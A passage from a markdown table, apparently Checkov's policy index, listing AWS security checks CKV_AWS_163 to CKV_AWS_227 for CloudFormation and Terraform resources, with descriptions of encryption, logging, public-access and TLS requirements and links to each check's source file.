[RDSClusterIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterIAMAuthentication.py)                                                                         |\n|  536 | CKV_AWS_163              | resource                         | AWS::ECR::Repository                                                                             | Ensure ECR image scanning on push is enabled                                                                                                                                                             | Cloudformation          | [ECRImageScanning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRImageScanning.py)                                                                                          |\n|  537 | CKV_AWS_163              | resource                         | aws_ecr_repository                                                                               | Ensure ECR image scanning on push is enabled                                                                                                                                                             | Terraform               | [ECRImageScanning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRImageScanning.py)                                                                                               |\n|  538 | CKV_AWS_164              | resource                         | AWS::Transfer::Server                                                                            | Ensure Transfer Server is not exposed publicly.                                                                                                                                                          | Cloudformation          | [TransferServerIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/TransferServerIsPublic.py)                                                                              |\n|  539 | CKV_AWS_164              | resource                         | aws_transfer_server                                                                              | Ensure Transfer Server is not exposed publicly.                                                                                                                                                          | Terraform               | [TransferServerIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TransferServerIsPublic.py)                                                                                   |\n|  540 | CKV_AWS_165              | resource                         | AWS::DynamoDB::GlobalTable                                                                       | Ensure DynamoDB global table point in time recovery (backup) is enabled                                                                                                                                  | Cloudformation          | [DynamodbGlobalTableRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamodbGlobalTableRecovery.py)                                                                    |\n|  541 | CKV_AWS_165              | resource                         | aws_dynamodb_global_table                                                                        | Ensure DynamoDB point in time recovery (backup) is enabled for global tables                                                                                                                             | Terraform               | [DynamoDBGlobalTableRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamoDBGlobalTableRecovery.py)                                                                         |\n|  542 | CKV_AWS_166              | resource                         | AWS::Backup::BackupVault                                                                         | Ensure Backup Vault is encrypted at rest using KMS CMK                                                                                                                                                   | Cloudformation          | [BackupVaultEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/BackupVaultEncrypted.py)                                                                                  |\n|  543 | CKV_AWS_166              | resource                         | aws_backup_vault                                                                                 | Ensure Backup Vault is encrypted at rest using KMS CMK                                                                                                                                                   | Terraform               | [BackupVaultEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BackupVaultEncrypted.py)                                                                                       |\n|  544 | CKV_AWS_167              | resource                         | aws_glacier_vault                                                                                | Ensure Glacier Vault access policy is not public by only allowing specific services or principals to access it                                                                                           | Terraform               | [GlacierVaultAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlacierVaultAnyPrincipal.py)                                                                               |\n|  545 | CKV_AWS_168              | resource                         | aws_sqs_queue                                                                                    | Ensure SQS queue policy is not public by only allowing specific services or principals to access it                                                                                                      | Terraform               | [SQSQueuePolicyAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSQueuePolicyAnyPrincipal.py)                                                                           |\n|  546 | CKV_AWS_168              | resource                         | aws_sqs_queue_policy                                                                             | Ensure SQS queue policy is not public by only allowing specific services or principals to access it                                                                                                      | Terraform               | [SQSQueuePolicyAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSQueuePolicyAnyPrincipal.py)                                                                           |\n|  547 | CKV_AWS_169              | resource                         | aws_sns_topic_policy                                                                             | Ensure SNS topic policy is not public by only allowing specific services or principals to access it                                                                                                      | Terraform               | [SNSTopicPolicyAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SNSTopicPolicyAnyPrincipal.py)                                                                           |\n|  548 | CKV_AWS_170              | resource                         | AWS::QLDB::Ledger                                                                                | Ensure QLDB ledger permissions mode is set to STANDARD                                                                                                                                                   | Cloudformation          | [QLDBLedgerPermissionsMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/QLDBLedgerPermissionsMode.py)                                                                        |\n|  549 | CKV_AWS_170              | resource                         | aws_qldb_ledger                                                                                  | Ensure QLDB ledger permissions mode is set to STANDARD                                                                                                                                                   | Terraform               | [QLDBLedgerPermissionsMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/QLDBLedgerPermissionsMode.py)                                                                             |\n|  550 | CKV_AWS_171              | resource                         | aws_emr_security_configuration                                                                   | Ensure EMR Cluster security configuration encryption is using SSE-KMS                                                                                                                                    | Terraform               | [EMRClusterIsEncryptedKMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterIsEncryptedKMS.py)                                                                               |\n|  551 | CKV_AWS_172              | resource                         | AWS::QLDB::Ledger                                                                                | Ensure QLDB ledger has deletion protection enabled                                                                                                                                                       | Cloudformation          | [QLDBLedgerDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/QLDBLedgerDeletionProtection.py)                                                                  |\n|  552 | CKV_AWS_172              | resource                         | aws_qldb_ledger                                                                                  | Ensure QLDB ledger has deletion protection enabled                                                                                                                                                       | Terraform               | [QLDBLedgerDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/QLDBLedgerDeletionProtection.py)                                                                       |\n|  553 | CKV_AWS_173              | resource                         | AWS::Lambda::Function                                                                            | Check encryption settings for Lambda environment variable                                                                                                                                                | Cloudformation          | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py)                                                    |\n|  554 | CKV_AWS_173              | resource                         | AWS::Serverless::Function                                                                        | Check encryption settings for Lambda environment variable                                                                                                                                                | Cloudformation          | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py)                                                    |\n|  555 | CKV_AWS_173              | resource                         | aws_lambda_function                                                                              | Check encryption settings for Lambda environmental variable                                                                                                                                              | Terraform               | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py)                                                         |\n|  556 | CKV_AWS_174              | resource                         | AWS::CloudFront::Distribution                                                                    | Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher                                                                                                                            | Cloudformation          | [CloudFrontTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudFrontTLS12.py)                                                                                            |\n|  557 | CKV_AWS_174              | resource                         | aws_cloudfront_distribution                                                                      | Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher                                                                                                                            | Terraform               | [CloudfrontTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontTLS12.py)                                                                                                 |\n|  558 | CKV_AWS_175              | resource                         | aws_waf_web_acl                                                                                  | Ensure WAF has associated rules                                                                                                                                                                          | Terraform               | [WAFHasAnyRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasAnyRules.py)                                                                                                   |\n|  559 | CKV_AWS_175              | resource                         | aws_wafregional_web_acl                                                                          | Ensure WAF has associated rules                                                                                                                                                                          | Terraform               | [WAFHasAnyRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasAnyRules.py)                                                                                                   |\n|  560 | CKV_AWS_175              | resource                         | aws_wafv2_web_acl                                                                                | Ensure WAF has associated rules                                                                                                                                                                          | Terraform               | [WAFHasAnyRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasAnyRules.py)                                                                                                   |\n|  561 | CKV_AWS_176              | resource                         | aws_waf_web_acl                                                                                  | Ensure Logging is enabled for WAF Web Access Control Lists                                                                                                                                               | Terraform               | [WAFHasLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasLogs.py)                                                                                                           |\n|  562 | CKV_AWS_176              | resource                         | aws_wafregional_web_acl                                                                          | Ensure Logging is enabled for WAF Web Access Control Lists                                                                                                                                               | Terraform               | [WAFHasLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasLogs.py)                                                                                                           |\n|  563 | CKV_AWS_177              | resource                         | aws_kinesis_video_stream                                                                         | Ensure Kinesis Video Stream is encrypted by KMS using a customer managed Key (CMK)                                                                                                                       | Terraform               | [KinesisVideoEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisVideoEncryptedWithCMK.py)                                                                       |\n|  564 | CKV_AWS_178              | resource                         | aws_fsx_ontap_file_system                                                                        | Ensure fx ontap file system is encrypted by KMS using a customer managed Key (CMK)                                                                                                                       | Terraform               | [FSXOntapFSEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/FSXOntapFSEncryptedWithCMK.py)                                                                           |\n|  565 | CKV_AWS_179              | resource                         | aws_fsx_windows_file_system                                                                      | Ensure FSX Windows filesystem is encrypted by KMS using a customer managed Key (CMK)                                                                                                                     | Terraform               | [FSXWindowsFSEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/FSXWindowsFSEncryptedWithCMK.py)                                                                       |\n|  566 | CKV_AWS_180              | resource                         | aws_imagebuilder_component                                                                       | Ensure Image Builder component is encrypted by KMS using a customer managed Key (CMK)                                                                                                                    | Terraform               | [ImagebuilderComponentEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ImagebuilderComponentEncryptedWithCMK.py)                                                     |\n|  567 | CKV_AWS_181              | resource                         | aws_s3_object_copy                                                                               | Ensure S3 Object Copy is encrypted by KMS using a customer managed Key (CMK)                                                                                                                             | Terraform               | [S3ObjectCopyEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3ObjectCopyEncryptedWithCMK.py)                                                                       |\n|  568 | CKV_AWS_182              | resource                         | aws_docdb_cluster                                                                                | Ensure DocumentDB is encrypted by KMS using a customer managed Key (CMK)                                                                                                                                 | Terraform               | [DocDBEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBEncryptedWithCMK.py)                                                                                     |\n|  569 | CKV_AWS_183              | resource                         | aws_ebs_snapshot_copy                                                                            | Ensure EBS Snapshot Copy is encrypted by KMS using a customer managed Key (CMK)                                                                                                                          | Terraform               | [EBSSnapshotCopyEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSSnapshotCopyEncryptedWithCMK.py)                                                                 |\n|  570 | CKV_AWS_184              | resource                         | aws_efs_file_system                                                                              | Ensure resource is encrypted by KMS using a customer managed Key (CMK)                                                                                                                                   | Terraform               | [EFSFileSystemEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSFileSystemEncryptedWithCMK.py)                                                                     |\n|  571 | CKV_AWS_185              | resource                         | aws_kinesis_stream                                                                               | Ensure Kinesis Stream is encrypted by KMS using a customer managed Key (CMK)                                                                                                                             | Terraform               | [KinesisStreamEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisStreamEncryptedWithCMK.py)                                                                     |\n|  572 | CKV_AWS_186              | resource                         | aws_s3_bucket_object                                                                             | Ensure S3 bucket Object is encrypted by KMS using a customer managed Key (CMK)                                                                                                                           | Terraform               | [S3BucketObjectEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BucketObjectEncryptedWithCMK.py)                                                                   |\n|  573 | CKV_AWS_187              | resource                         | AWS::SageMaker::Domain                                                                           | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)                                                                                                    | Cloudformation          | [SagemakerNotebookEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py)                                                        |\n|  574 | CKV_AWS_187              | resource                         | AWS::SageMaker::NotebookInstance                                                                 | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)                                                                                                    | Cloudformation          | [SagemakerNotebookEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py)                                                        |\n|  575 | CKV_AWS_187              | resource                         | aws_sagemaker_domain                                                                             | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)                                                                                                    | Terraform               | [SagemakerDomainEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDomainEncryptedWithCMK.py)                                                                 |\n|  576 | CKV_AWS_187              | resource                         | aws_sagemaker_notebook_instance                                                                  | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)                                                                                                    | Terraform               | [SagemakerDomainEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDomainEncryptedWithCMK.py)                                                                 |\n|  577 | CKV_AWS_189              | resource                         | aws_ebs_volume                                                                                   | Ensure EBS Volume is encrypted by KMS using a customer managed Key (CMK)                                                                                                                                 | Terraform               | [EBSVolumeEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSVolumeEncryptedWithCMK.py)                                                                             |\n|  578 | CKV_AWS_190              | resource                         | aws_fsx_lustre_file_system                                                                       | Ensure lustre file systems is encrypted by KMS using a customer managed Key (CMK)                                                                                                                        | Terraform               | [LustreFSEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LustreFSEncryptedWithCMK.py)                                                                               |\n|  579 | CKV_AWS_191              | resource                         | aws_elasticache_replication_group                                                                | Ensure ElastiCache replication group is encrypted by KMS using a customer managed Key (CMK)                                                                                                              | Terraform               | [ElasticacheReplicationGroupEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptedWithCMK.py)                                         |\n|  580 | CKV_AWS_192              | resource                         | AWS::WAFv2::WebACL                                                                               | Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                                          | Cloudformation          | [WAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WAFACLCVE202144228.py)                                                                                      |\n|  581 | CKV_AWS_192              | resource                         | aws_wafv2_web_acl                                                                                | Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                                          | Terraform               | [WAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFACLCVE202144228.py)                                                                                           |\n|  582 | CKV_AWS_193              | resource                         | AWS::AppSync::GraphQLApi                                                                         | Ensure AppSync has Logging enabled                                                                                                                                                                       | Cloudformation          | [AppSyncLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AppSyncLogging.py)                                                                                              |\n|  583 | CKV_AWS_193              | resource                         | aws_appsync_graphql_api                                                                          | Ensure AppSync has Logging enabled                                                                                                                                                                       | Terraform               | [AppSyncLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppSyncLogging.py)                                                                                                   |\n|  584 | CKV_AWS_194              | resource                         | AWS::AppSync::GraphQLApi                                                                         | Ensure AppSync has Field-Level logs enabled                                                                                                                                                              | Cloudformation          | [AppSyncFieldLevelLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AppSyncFieldLevelLogs.py)                                                                                |\n|  585 | CKV_AWS_194              | resource                         | aws_appsync_graphql_api                                                                          | Ensure AppSync has Field-Level logs enabled                                                                                                                                                              | Terraform               | [AppSyncFieldLevelLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppSyncFieldLevelLogs.py)                                                                                     |\n|  586 | CKV_AWS_195              | resource                         | AWS::Glue::Crawler                                                                               | Ensure Glue component has a security configuration associated                                                                                                                                            | Cloudformation          | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                                          |\n|  587 | CKV_AWS_195              | resource                         | AWS::Glue::DevEndpoint                                                                           | Ensure Glue component has a security configuration associated                                                                                                                                            | Cloudformation          | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                                          |\n|  588 | CKV_AWS_195              | resource                         | AWS::Glue::Job                                                                                   | Ensure Glue component has a security configuration associated                                                                                                                                            | Cloudformation          | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                                          |\n|  589 | CKV_AWS_195              | resource                         | aws_glue_crawler                                                                                 | Ensure Glue component has a security configuration associated                                                                                                                                            | Terraform               | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                                               |\n|  590 | CKV_AWS_195              | resource                         | aws_glue_dev_endpoint                                                                            | Ensure Glue component has a security configuration associated                                                                                                                                            | Terraform               | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                                               |\n|  591 | CKV_AWS_195              | resource                         | aws_glue_job                                                                                     | Ensure Glue component has a security configuration associated                                                                                                                                            | Terraform               | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                                               |\n|  592 | CKV_AWS_196              | resource                         | aws_elasticache_security_group                                                                   | Ensure no aws_elasticache_security_group resources exist                                                                                                                                                 | Terraform               | [ElasticacheHasSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheHasSecurityGroup.py)                                                                         |\n|  593 | CKV_AWS_197              | resource                         | AWS::AmazonMQ::Broker                                                                            | Ensure MQ Broker Audit logging is enabled                                                                                                                                                                | Cloudformation          | [MQBrokerAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MQBrokerAuditLogging.py)                                                                                  |\n|  594 | CKV_AWS_197              | resource                         | aws_mq_broker                                                                                    | Ensure MQ Broker Audit logging is enabled                                                                                                                                                                | Terraform               | [MQBrokerAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerAuditLogging.py)                                                                                       |\n|  595 | CKV_AWS_198              | resource                         | aws_db_security_group                                                                            | Ensure no aws_db_security_group resources exist                                                                                                                                                          | Terraform               | [RDSHasSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSHasSecurityGroup.py)                                                                                         |\n|  596 | CKV_AWS_199              | resource                         | aws_imagebuilder_distribution_configuration                                                      | Ensure Image Builder Distribution Configuration encrypts AMI's using KMS - a customer managed Key (CMK)                                                                                                  | Terraform               | [ImagebuilderDistributionConfigurationEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ImagebuilderDistributionConfigurationEncryptedWithCMK.py)                     |\n|  597 | CKV_AWS_200              | resource                         | aws_imagebuilder_image_recipe                                                                    | Ensure that Image Recipe EBS Disk are encrypted with CMK                                                                                                                                                 | Terraform               | [ImagebuilderImageRecipeEBSEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ImagebuilderImageRecipeEBSEncrypted.py)                                                         |\n|  598 | CKV_AWS_201              | resource                         | aws_memorydb_cluster                                                                             | Ensure MemoryDB is encrypted at rest using KMS CMKs                                                                                                                                                      | Terraform               | [MemoryDBEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MemoryDBEncryptionWithCMK.py)                                                                             |\n|  599 | CKV_AWS_202              | resource                         | aws_memorydb_cluster                                                                             | Ensure MemoryDB data is encrypted in transit                                                                                                                                                             | Terraform               | [MemoryDBClusterIntransitEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MemoryDBClusterIntransitEncryption.py)                                                           |\n|  600 | CKV_AWS_203              | resource                         | aws_fsx_openzfs_file_system                                                                      | Ensure resource is encrypted by KMS using a customer managed Key (CMK)                                                                                                                                   | Terraform               | [FSXOpenZFSFileSystemEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/FSXOpenZFSFileSystemEncryptedWithCMK.py)                                                       |\n|  601 | CKV_AWS_204              | resource                         | aws_ami                                                                                          | Ensure AMIs are encrypted using KMS CMKs                                                                                                                                                                 | Terraform               | [AMIEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMIEncryption.py)                                                                                                     |\n|  602 | CKV_AWS_205              | resource                         | aws_ami_launch_permission                                                                        | Ensure to Limit AMI launch Permissions                                                                                                                                                                   | Terraform               | [AMILaunchIsShared.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMILaunchIsShared.py)                                                                                             |\n|  603 | CKV_AWS_206              | resource                         | aws_api_gateway_domain_name                                                                      | Ensure API Gateway Domain uses a modern security Policy                                                                                                                                                  | Terraform               | [APIGatewayDomainNameTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayDomainNameTLS.py)                                                                                 |\n|  604 | CKV_AWS_207              | resource                         | aws_mq_broker                                                                                    | Ensure MQ Broker minor version updates are enabled                                                                                                                                                       | Terraform               | [MQBrokerMinorAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerMinorAutoUpgrade.py)                                                                               |\n|  605 | CKV_AWS_208              | resource                         | aws_mq_broker                                                                                    | Ensure MQ Broker version is current                                                                                                                                                                      | Terraform               | [MQBrokerVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerVersion.py)                                                                                                 |\n|  606 | CKV_AWS_208              | resource                         | aws_mq_configuration                                                                             | Ensure MQ Broker version is current                                                                                                                                                                      | Terraform               | [MQBrokerVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerVersion.py)                                                                                                 |\n|  607 | CKV_AWS_209              | resource                         | aws_mq_broker                                                                                    | Ensure MQ broker encrypted by KMS using a customer managed Key (CMK)                                                                                                                                     | Terraform               | [MQBrokerEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerEncryptedWithCMK.py)                                                                               |\n|  608 | CKV_AWS_210              | resource                         | aws_batch_job_definition                                                                         | Batch job does not define a privileged container                                                                                                                                                         | Terraform               | [BatchJobIsNotPrivileged.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BatchJobIsNotPrivileged.py)                                                                                 |\n|  609 | CKV_AWS_211              | resource                         | aws_db_instance                                                                                  | Ensure RDS uses a modern CaCert                                                                                                                                                                          | Terraform               | [RDSCACertIsRecent.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSCACertIsRecent.py)                                                                                             |\n|  610 | CKV_AWS_212              | resource                         | aws_dms_replication_instance                                                                     | Ensure DMS replication instance is encrypted by KMS using a customer managed Key (CMK)                                                                                                                   | Terraform               | [DMSReplicationInstanceEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSReplicationInstanceEncryptedWithCMK.py)                                                   |\n|  611 | CKV_AWS_213              | resource                         | aws_load_balancer_policy                                                                         | Ensure ELB Policy uses only secure protocols                                                                                                                                                             | Terraform               | [ELBPolicyUsesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBPolicyUsesSecureProtocols.py)                                                                       |\n|  612 | CKV_AWS_214              | resource                         | aws_appsync_api_cache                                                                            | Ensure AppSync API Cache is encrypted at rest                                                                                                                                                            | Terraform               | [AppsyncAPICacheEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppsyncAPICacheEncryptionAtRest.py)                                                                 |\n|  613 | CKV_AWS_215              | resource                         | aws_appsync_api_cache                                                                            | Ensure AppSync API Cache is encrypted in transit                                                                                                                                                         | Terraform               | [AppsyncAPICacheEncryptionInTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppsyncAPICacheEncryptionInTransit.py)                                                           |\n|  614 | CKV_AWS_216              | resource                         | aws_cloudfront_distribution                                                                      | Ensure CloudFront distribution is enabled                                                                                                                                                                | Terraform               | [CloudfrontDistributionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionEnabled.py)                                                                     |\n|  615 | CKV_AWS_217              | resource                         | aws_api_gateway_deployment                                                                       | Ensure Create before destroy for API deployments                                                                                                                                                         | Terraform               | [APIGatewayDeploymentCreateBeforeDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayDeploymentCreateBeforeDestroy.py)                                                 |\n|  616 | CKV_AWS_218              | resource                         | aws_cloudsearch_domain                                                                           | Ensure that CloudSearch is using latest TLS                                                                                                                                                              | Terraform               | [CloudsearchDomainTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudsearchDomainTLS.py)                                                                                       |\n|  617 | CKV_AWS_219              | resource                         | aws_codepipeline                                                                                 | Ensure CodePipeline Artifact store is using a KMS CMK                                                                                                                                                    | Terraform               | [CodePipelineArtifactsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodePipelineArtifactsEncrypted.py)                                                                   |\n|  618 | CKV_AWS_220              | resource                         | aws_cloudsearch_domain                                                                           | Ensure that CloudSearch is using https                                                                                                                                                                   | Terraform               | [CloudsearchDomainEnforceHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudsearchDomainEnforceHttps.py)                                                                     |\n|  619 | CKV_AWS_221              | resource                         | aws_codeartifact_domain                                                                          | Ensure CodeArtifact Domain is encrypted by KMS using a customer managed Key (CMK)                                                                                                                        | Terraform               | [CodeArtifactDomainEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodeArtifactDomainEncryptedWithCMK.py)                                                           |\n|  620 | CKV_AWS_222              | resource                         | aws_dms_replication_instance                                                                     | Ensure DMS replication instance gets all minor upgrade automatically                                                                                                                                     | Terraform               | [DMSReplicationInstanceMinorUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSReplicationInstanceMinorUpgrade.py)                                                           |\n|  621 | CKV_AWS_223              | resource                         | aws_ecs_cluster                                                                                  | Ensure ECS Cluster enables logging of ECS Exec                                                                                                                                                           | Terraform               | [ECSClusterLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSClusterLoggingEnabled.py)                                                                               |\n|  622 | CKV_AWS_224              | resource                         | aws_ecs_cluster                                                                                  | Ensure ECS Cluster logging is enabled and client to container communication uses CMK                                                                                                                     | Terraform               | [ECSClusterLoggingEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSClusterLoggingEncryptedWithCMK.py)                                                             |\n|  623 | CKV_AWS_225              | resource                         | aws_api_gateway_method_settings                                                                  | Ensure API Gateway method setting caching is enabled                                                                                                                                                     | Terraform               | [APIGatewayMethodSettingsCacheEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsCacheEnabled.py)                                                       |\n|  624 | CKV_AWS_226              | resource                         | aws_db_instance                                                                                  | Ensure DB instance gets all minor upgrades automatically                                                                                                                                                 | Terraform               | [DBInstanceMinorUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceMinorUpgrade.py)                                                                                   |\n|  625 | CKV_AWS_226              | resource                         | aws_rds_cluster_instance                                                                         | Ensure DB instance gets all minor upgrades automatically                                                                                                                                                 | Terraform               | [DBInstanceMinorUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceMinorUpgrade.py)                                                                                   |\n|  626 | CKV_AWS_227              | resource                         | aws_kms_key                                                                                      | Ensure KMS key is enabled                                                                                                                                                                                | Terraform               